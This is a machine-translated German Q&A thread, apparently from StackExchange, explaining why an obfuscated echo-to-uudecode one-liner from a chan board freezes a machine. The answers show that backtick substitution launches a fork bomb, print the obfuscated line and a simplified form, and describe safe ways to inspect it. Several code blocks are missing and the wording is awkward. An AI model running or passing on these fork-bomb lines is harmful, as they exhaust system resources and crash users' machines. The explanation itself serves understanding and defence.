Gefunden auf einem zufälligen Chan Board:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Irgendwie läuft dies so, dass ein unendlich laichender Prozess entsteht, der zügellos abläuft und die Maschine zum Stillstand bringt. Ich sehe etwas über "su", das versucht, mehrmals hingerichtet zu werden.
..was seltsam ist, denn ich würde nur erwarten, dass Text ausgegeben wird, nicht die Ausführung von irgendetwas.
Wenn ich diesen Text durch einen Online-Decoder lasse, bekomme ich nur eine Menge Binärspe:
Was macht diese Textverwirrung eigentlich und gibt es eine Möglichkeit, sie "sicher" anzuzeigen?
Antworten:
Schauen wir uns zunächst den gesamten Befehl an:
Es enthält eine Zeichenfolge in doppelten Anführungszeichen, die wiedergegeben wird
uudecode
. Beachten Sie jedoch, dass es sich bei der Zeichenfolge in doppelten Anführungszeichen um eine Zeichenfolge in umgekehrten Anführungszeichen handelt . Dieser String wird ausgeführt . Die Zeichenfolge lautet:Wenn wir uns ansehen, was drin ist, sehen wir drei Befehle:
Wenn Sie die Klammer auf den mittleren Befehl erweitern, haben Sie:
In der ersten Zeile wird versucht, einen Unsinnsbefehl im Hintergrund auszuführen. Das ist unwichtig.
Die zweite Zeile ist wichtig: Sie definiert eine Funktion,
r
die beim Ausführen zwei Kopien von sich selbst startet. Jede dieser Kopien würde natürlich zwei weitere Kopien auf den Markt bringen. Und so weiter.Die dritte Reihe
r
startet die Gabelbombe.Der Rest des Codes außerhalb der Zeichenfolge in Anführungszeichen ist nur Unsinn für die Verschleierung.
So führen Sie den Befehl sicher aus
Dieser Code kann gefahrlos ausgeführt werden, wenn die Ebene der Funktionsverschachtelung begrenzt ist. Dies kann mit der
FUNCNEST
Variablen von bash geschehen . Hier setzen wir es auf2
und dies stoppt die Rekursion:Die obigen Fehlermeldungen zeigen, dass (a) die Quatschbefehle
rYWdl
undY29j
nicht gefunden werden, (b) die Gabelbombe wiederholt von FUNCNEST gestoppt wird und (c) die Ausgabe vonecho
nicht mit beginntbegin
und folglich keine gültige Eingabe für istuudecode
.Die Gabelbombe in ihrer einfachsten Form
Wie würde die Gabelbombe aussehen, wenn wir die Verdunkelung entfernen würden? Wie njzk2 und gerrit vorschlagen, würde es so aussehen:
Das können wir noch weiter vereinfachen:
Das setzt sich aus zwei Aussagen zusammen: Eine definiert die Gabelbombenfunktion
r
und die zweite läuftr
.Der gesamte andere Code, einschließlich der Pipe to
uudecode
, diente nur der Verschleierung und Fehlleitung.Die ursprüngliche Form hatte noch eine weitere Fehlleitungsebene
Das OP hat einen Link zur Channel-Board-Diskussion bereitgestellt, auf der dieser Code erschien. Wie dort dargestellt, sah der Code folgendermaßen aus:
Beachten Sie einen der ersten Kommentare zu diesem Code:
In der Form auf der Kanaltafel würde man naiv denken, dass das Problem die
eval
Aussage sein würde, die auf dem Ausgang von arbeitetuudecode
. Dies würde den Eindruck erwecken, dass das Entferneneval
das Problem lösen würde. Wie wir oben gesehen haben, ist dies falsch und gefährlich.quelle
uudecode
hier völlig irrelevant ist. Für einen Moment dachte ich, ichuudecode
würde eine Interpolation von Strings in Anführungszeichen durchführen, die es grundsätzlich unsicher machen würde, aber die Fork-Bombe passiert, bevor Uudecode überhaupt startet.&
dort:echo "`r()(r&r);r`"
.So beantworten Sie den zweiten Teil Ihrer Frage:
Um diese Zeichenfolge zu entschärfen, ersetzen Sie die äußeren Anführungszeichen durch einfache Anführungszeichen und umgehen Sie die einfachen Anführungszeichen in der Zeichenfolge. Auf diese Weise führt die Shell keinen Code aus und Sie übergeben alles direkt an
uudecode
:Andere Alternativen sind in den Kommentaren vermerkt:
Kasperd schlug vor :
Jacob Krall schlug vor , einen Texteditor zu verwenden, den Inhalt einzufügen und diese Datei dann an uudecode zu übergeben.
quelle
uudecode
in die Befehlszeile ein. Drücken Sie Enter. Kopieren Sie den zu dekodierenden String und fügen Sie ihn ein.uudecode
.echo "foo`die`bar'`die`'baz"
ersten entspricht! Das heißt, wenn es irgendwelche'
s enthält, reicht es nicht aus, die Anführungszeichen durch einfache Anführungszeichen zu ersetzen.Auf den ersten Blick könnte man meinen, dass die Ausgabe an die Shell niemals ausgeführt wird . Das ist immer noch wahr . Das Problem liegt bereits in der Eingabe . Der Haupttrick dabei ist, was Programmierer als Operatorpriorität bezeichnen . Dies ist die Reihenfolge, in der die Shell versucht, Ihre Eingabe zu verarbeiten:
Der Fehler ist zu denken, dass
echo
dies der erste Befehl ist, der ausgeführt wird,uudecode
der zweite. Beide werden niemals erreicht werden.Fazit: Doppelte Anführungszeichen sind in der Shell immer gefährlich.
quelle